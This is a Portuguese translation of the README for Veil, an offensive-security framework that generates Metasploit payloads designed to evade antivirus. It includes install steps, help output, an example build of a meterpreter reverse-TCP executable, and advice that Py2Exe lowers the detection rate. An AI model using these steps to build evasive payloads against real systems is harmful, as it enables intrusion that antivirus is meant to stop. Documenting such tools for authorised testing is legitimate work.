
Veil 3.1.X (Verifique as informações de versão no Veil em tempo de execução)
Veil Logo
Veil é uma ferramenta projetada para gerar payloads do Metasploit que contornam soluções antivírus comuns.
Veil está atualmente sob suporte de @ChrisTruncer
Os seguintes SOs são oficialmente suportados:
Os seguintes SOs provavelmente podem executar o Veil:
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
NOTA:
sudo ou mude para o usuário root antes de começar.apt. Você também precisará de um servidor X em execução, seja no próprio sistema ou no seu sistema local.sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Este arquivo é responsável por instalar todas as dependências do Veil. Isso inclui todo o ambiente WINE, para o lado do Windows. Ele instalará todos os pacotes Linux necessários e GoLang, bem como Python, Ruby e AutoIT para Windows. Além disso, também executará ./config/update-config.py para o seu ambiente.
Inclui duas flags opcionais, --force e --silent:
--force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update.
--silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user.
Isso pode ser executado usando: ./Veil.py --setup OU ./config/setup.sh --force.
Isso gerará o arquivo de saída para /etc/veil/settings.py. Na maioria das vezes não precisará ser reconstruído, mas em alguns casos você pode ser solicitado a fazê-lo (como uma grande atualização do Veil).
É importante que você esteja no diretório ./config/ antes de executar update-config.py. Caso contrário, /etc/veil/settings.py estará incorreto e, ao iniciar o Veil, você verá o seguinte:
Main Menu
0 payloads loaded
Não entre em pânico. Execute: ./Veil.py --config OU cd ./config/; ./update-config.py.
NOTA: Recomenda-se o uso do Py2Exe em vez do PyInstaller (pois tem uma taxa de detecção mais baixa).
INSTALE MANUALMENTE em um computador Windows (já que isso não é feito pela configuração do Veil):
Menu Principal do Veil:
$ ./Veil.py
===============================================================================
Veil | [Version]: 3.1.6
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Main Menu
2 tools loaded
Available Tools:
1) Evasion
2) Ordnance
Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool
Veil>:
Ajuda
$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
[--version] [--ip IP] [--port PORT] [--list-payloads]
[-p [PAYLOAD]] [-o OUTPUT-NAME]
[-c [OPTION=value [OPTION=value ...]]]
[--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
[--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
[--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]
Veil is a framework containing multiple tools.
[*] Veil Options:
--list-tools List Veil's tools
-t TOOL, --tool TOOL Specify Veil tool to use (Evasion, Ordnance etc.)
--update Update the Veil framework
--setup Run the Veil framework setup file & regenerate the
configuration
--config Regenerate the Veil framework configuration file
--version Displays version and quits
[*] Callback Settings:
--ip IP, --domain IP IP address to connect back to
--port PORT Port number to connect to
[*] Payload Settings:
--list-payloads Lists all available payloads for that tool
[*] Veil-Evasion Options:
-p [PAYLOAD] Payload to generate
-o OUTPUT-NAME Output file base name for source and compiled binaries
-c [OPTION=value [OPTION=value ...]]
Custom payload module options
--msfoptions [OPTION=value [OPTION=value ...]]
Options for the specified metasploit payload
--msfvenom [] Metasploit shellcode to generate (e.g.
windows/meterpreter/reverse_tcp etc.)
--compiler pyinstaller
Compiler option for payload (currently only needed for
Python)
--clean Clean out payload folders
[*] Veil-Ordnance Shellcode Options:
--ordnance-payload PAYLOAD
Payload type (bind_tcp, rev_tcp, etc.)
[*] Veil-Ordnance Encoder Options:
--list-encoders Lists all available encoders
-e ENCODER, --encoder ENCODER
Name of shellcode encoder to use
-b \x00\x0a.., --bad-chars \x00\x0a..
Bad characters to avoid
--print-stats Print information about the encoded shellcode
$
CLI do Veil Evasion
$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Language: go
[*] Payload Module: go/meterpreter/rev_tcp
[*] Executable written to: /var/lib/veil/output/compiled/payload.exe
[*] Source code written to: /var/lib/veil/output/source/payload.go
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$
CLI do Veil Ordnance